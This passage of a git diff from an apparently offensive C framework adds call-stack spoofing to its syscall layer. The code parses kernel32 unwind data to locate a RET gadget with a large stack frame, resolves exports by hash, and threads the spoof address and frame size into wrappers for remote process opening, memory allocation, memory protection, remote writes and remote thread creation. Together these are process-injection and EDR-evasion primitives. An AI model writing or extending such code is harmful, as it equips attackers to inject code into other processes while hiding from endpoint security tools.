UWOP_SAVE_XMM128_FAR + j += 3; + break; + case 10: // UWOP_PUSH_MACHFRAME + j += 1; + break; + default: + j += 1; + break; + } + } + + if (frame_size >= 120) { + PBYTE func_body = (PBYTE)((ULONG_PTR)kernel32 + func->BeginAddress); + DWORD func_size = func->EndAddress - func->BeginAddress; + + for (DWORD k = 0; k < func_size; k++) { + if (func_body[k] == 0xC3) { // RET + gadget = &func_body[k]; + entry->dwSpoofFrameSize = frame_size; + break; + } + } + + if (gadget) + break; + } + } + } +#else + FARPROC exec_addr = NULL; + + status = snd_pe_get_export_address_hash(kernel32, SND_SYS_DLL_SIZE_DEFAULT, SND_HASH_BASETHREADINITTHUNK, + &exec_addr, NULL); + + if (SND_FAILED(status) || !exec_addr) { + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); + } + // x86 fallback: basic RET scan since there is no .pdata + PBYTE scanner = (PBYTE)exec_addr; + for (int i = 0; i < 65535; i++) { + if (scanner[i] == 0xC3) { // ret + gadget = &scanner[i]; + break; + } + if (scanner[-i] == 0xC3) { // ret + gadget = &scanner[-i]; + break; + } + } +#endif + + if (!gadget) { + return SND_ERR_CTX(SND_STATUS_GADGET_NOT_FOUND, "Could not find a trampoline gadget in kernel32."); + } + + entry->pSpoofAddr = gadget; + + return SND_OK; +} diff --git a/src/primitives/execution/syscalls/syscalls.c b/src/primitives/execution/syscalls/syscalls.c index f1d5d02..3a7ce09 100644 --- a/src/primitives/execution/syscalls/syscalls.c +++ b/src/primitives/execution/syscalls/syscalls.c @@ -15,6 +15,7 @@ static int g_strategy_count = 0; snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT; snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT; +snd_syscall_gadget_finder_t g_syscall_spoof_finder = SND_SYSCALL_SPOOF_FINDER_DEFAULT; void snd_syscall_set_ntdll(PVOID ntdll_base) { if (!ntdll_base) @@ -34,6 +35,12 @@ void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder) { g_syscall_gadget_finder = finder; } +void snd_syscall_set_spoof_finder(snd_syscall_gadget_finder_t finder) { + if (!finder) + return; + g_syscall_spoof_finder = finder; +} + void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) { if (!resolver) return; @@ -75,6 +82,9 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out if (g_syscall_gadget_finder != NULL) { status = g_syscall_gadget_finder(entry_out); } + if (g_syscall_spoof_finder != NULL) { + status = g_syscall_spoof_finder(entry_out); + } return status; } } diff --git a/src/primitives/mapping/sys.c b/src/primitives/mapping/sys.c index e7951a0..4dd01b4 100644 --- a/src/primitives/mapping/sys.c +++ b/src/primitives/mapping/sys.c @@ -25,6 +25,8 @@ static snd_status_t WINAPI sys_mapping_open(const wchar_t *section_name, HANDLE snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = out_handle; args.arg2 = (PVOID)(ULONG_PTR)SECTION_MAP_READ; args.arg3 = &obj_attr; @@ -52,6 +54,8 @@ static snd_status_t WINAPI sys_mapping_view(HANDLE section_handle, PVOID *out_ba snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = section_handle; args.arg2 = GetCurrentProcess(); args.arg3 = &base_address; @@ -88,6 +92,8 @@ static snd_status_t WINAPI sys_mapping_close(HANDLE handle) { snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = handle; if (g_syscall_invoker == NULL) { diff --git a/src/primitives/memory/sys.c b/src/primitives/memory/sys.c index 897d1b6..ea08d29 100644 --- a/src/primitives/memory/sys.c +++ b/src/primitives/memory/sys.c @@ -26,6 +26,8 @@ static snd_status_t WINAPI sys_alloc(LPVOID address, SIZE_T size, DWORD allocati snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = processHandle; args.arg2 = &baseAddress; args.arg3 = 0; @@ -61,6 +63,8 @@ static snd_status_t WINAPI sys_free(LPVOID address, SIZE_T size, DWORD free_type snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = processHandle; args.arg2 = &baseAddress; args.arg3 = ®ionSize; @@ -87,6 +91,8 @@ static snd_status_t WINAPI sys_protect(LPVOID address, SIZE_T size, DWORD new_pr snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = processHandle; args.arg2 = &baseAddress; args.arg3 = ®ionSize; diff --git a/src/primitives/process/sys.c b/src/primitives/process/sys.c index 3e79ccb..cdc34cd 100644 --- a/src/primitives/process/sys.c +++ b/src/primitives/process/sys.c @@ -27,6 +27,8 @@ static snd_status_t WINAPI sys_open_process(DWORD pid, DWORD desired_access, HAN snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = out_process; args.arg2 = (PVOID)(ULONG_PTR)desired_access; args.arg3 = &oa; @@ -56,6 +58,8 @@ static snd_status_t WINAPI sys_alloc_remote(HANDLE process, SIZE_T size, DWORD a snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = process; args.arg2 = &local_base; args.arg3 = 0; @@ -86,6 +90,8 @@ static snd_status_t WINAPI sys_write_remote(HANDLE process, PVOID base_address, snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = process; args.arg2 = base_address; args.arg3 = (PVOID)buffer; @@ -115,6 +121,8 @@ static snd_status_t WINAPI sys_protect_remote(HANDLE process, PVOID base_address snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = process; args.arg2 = &addr; args.arg3 = ®ionSize; @@ -144,6 +152,8 @@ static snd_status_t WINAPI sys_create_remote_thread(HANDLE process, PVOID start_ snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = out_thread; args.arg2 = (PVOID)(ULONG_PTR)0x1FFFFF; args.arg3 = NULL; @@ -172,6 +182,8 @@ static snd_status_t WINAPI sys_close_handle(HANDLE handle) { snd_syscall_args_t args = {0}; args.ssn = entry.wSystemCall; args.sys_addr = entry.pSyscallAddr; + args.spoof_addr = entry.pSpoofAddr; + args.spoof_frame_size = entry.dwSpoofFrameSize; args.arg1 = handle; if (g_syscall_invoker == NULL) {